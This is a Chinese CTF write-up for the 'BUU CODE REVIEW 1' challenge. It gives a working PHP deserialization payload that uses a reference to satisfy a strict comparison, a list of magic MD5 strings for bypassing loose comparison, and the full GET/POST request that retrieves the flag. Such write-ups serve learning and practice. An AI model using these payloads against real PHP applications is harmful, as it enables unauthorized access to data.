BUU CODE REVIEW 1 1

news/2024/11/17 11:06:31/文章来源:https://www.cnblogs.com/tazmi/p/18550360

BUU CODE REVIEW 1 1

打开实例发现php代码,代码审计一波

image-20241117101315999

看到unserialize(),初步判断这题存在php反序列化

分析代码:

  1. 需要GET传参传入pleaseget=1
  2. 需要POST传参传入pleasepost=2
  3. 需要POST传入md51和md52,使得md51的md5加密后的MD5值弱相等,参数值不相等
  4. 需要POST传入obj,用来反序列化

根据代码构建payload:

首先是序列化的绕过,由于BUU的类里存在correctinput变量,这里需要使得correct和input绝对相等才能echo出flag,由于correct的值采用了base64_encode(uniqid())方法去赋,所以存在不确定性,无法与构造的input进行比对;这边考虑采用指针指向使其内存相等的方法:

<?php
class BUU
{public $correct = "";public $input = "";public function __destruct(){try {$this->correct = base64_encode(uniqid());if ($this->correct === $this->input) {echo file_get_contents("/flag");}} catch (Exception $e) {}}
}
$fun = new BUU();
$fun->input = &$fun->correct;	//	设置input的值为指针correct的值
$res = serialize(@$fun);
echo $res;

贴一张指针赋值的解释

image-20241117104947883

输出序列化字符串

O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

image-20241117105500016

接下来是md5的验证绕过

贴上一组可碰撞绕过的参数值

  • QNKCDZO
  • 240610708
  • s878926199a
  • s155964671a
  • s214587387a
  • s214587387a

构造最终的payload

GET:
?pleaseget=1POST:
pleasepost=2&md51=QNKCDZO&md52=240610708&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

image-20241117110144597

成功拿到flag

flag{9fd0b243-22c8-4817-ab5c-3ae00121e0d8} 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/835244.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

25 个值得关注的检索增强生成 (RAG) 模型和框架

大型语言模型 (LLM) 如 GPT-4 彻底革新了自然语言处理 (NLP) 领域,在生成类人文本、回答问题和执行各种语言相关任务方面展现出卓越的能力。然而,这些模型也存在一些固有的局限性:知识截止:LLM 的训练数据通常截止于特定时间点,使其无法获取训练后发生的事件或信息。 静态…

IDEA不使用lombok,如何快速生成get和set方法

前言 大家好,我是小徐啊。我们在开发Java应用的时候,对于实体类,一般是entity或者pojo类,需要设置好属性的get和set方法。这是比较普通的操作。当然,现在已经有lombok这个插件和依赖来帮助我们不用写get和set方法了。不过,对于一些老系统,我还是习惯于手写get和set方法。…

爱玛单车队-冲刺日志第一天

会议记录:今天是整个冲刺计划最关键的一天,我们需要制定好整个计划并且安排好分工任务,为每个分工任务制定好负责人,来督促每个环节的任务。 本次冲刺确定了以下分工:成员姓名 职责曾庆徽 组长,分配协调组织林传昊 代码审查翁林靖 AI接回查找与测试毛震 软件测试(性能、…

达梦数据库数据类型的变更无效错误,如此解决妙啊

前言 大家好,我是小徐啊。之前在做国产化改造,用到了达梦数据库。其中的一项工作就是将旧数据库里面的数据和结构迁移到达梦数据库。达梦提供了迁移的的工具,大部分时间是挺好用的。 但是这里也有问题,比如我原来的数据库是postgresql,将它迁移到达梦数据库之后,在运行程…

域名选购操作指南

一、前言 在这个互联网时代, 域名已成为网站的数字身份证和品牌象征。它不仅是访问网站的便捷入口, 更一、前言 在这个互联网时代, 域名已成为网站的数字身份证和品牌象征。它不仅是访问网站的便捷入口, 更是树立网络品牌形象的重要资产。2024 年双十一期间, 我在腾讯云平台购置…

2024-2025-1 学号20241315《计算机基础与程序设计》第八周学习总结

作业信息这个作业属于哪个课程 2024-2025-1-计算机基础与程序设计这个作业要求在哪里 <作业要求的链接>https://www.cnblogs.com/rocedu/p/9577842.html#WEEK08这个作业目标 功能设计与面向对象设计 面向对象设计过程 面向对象语言三要素 汇编、编译、解释、执行作业正文…

2024六安市第二届网络安全大赛-misc

六安市第二届网络安全大赛复现misc听说你也喜欢俄罗斯方块?ppt拼接之后缺三个角补上flag{qfnh_wergh_wqef}流量分析流量包分离出来一个压缩包出来一张图片黑色代表0白色代表11010101000rab反的压缩包转一下密码:拾叁拾陆叁拾贰陆拾肆密文:4p4n575851324332474r324753574o594…

2024强网杯-misc

2024强网杯-misc谍影重重5.0打开发现是SMB流量,从NTLM流中找到数据来解密。用NTLMRawUnhide这个脚本 一键提取出数据。下载下来运行一下Hashcat直接爆破babygirl233再用smb流量脚本解密跑出key,再导入这个时候发现有flag的压缩包导出来压缩包需要密码,接着可以看到流量包还有…

2024网鼎杯青龙misc04

2024网鼎杯misc04Misc04首先看到一个杂乱的图片不过这是一个皮亚诺曲线上脚本from PIL import Imagefrom tqdm import tqdmdef peano(n): if n == 0: return [[0,0]] else: in_lst = peano(n - 1) lst = in_lst.copy() px,py = lst[-1] …

CTFshow命令执行

CTFshow命令执行web291/?c=system("tac fla?.php");2/?c=system("tac f*.php>1.txt");再访问1.txtweb301<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-09-04 00:12:34# @Last Modified by: h1xa# @Last Modified time: 2020…

CTFshowPHP特性

CTFshowPHP特性web89<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-09-16 11:25:09# @Last Modified by: h1xa# @Last Modified time: 2020-09-18 15:38:51# @email: h1xa@ctfer.com# @link: https://ctfer.com*/include("flag.php");highlig…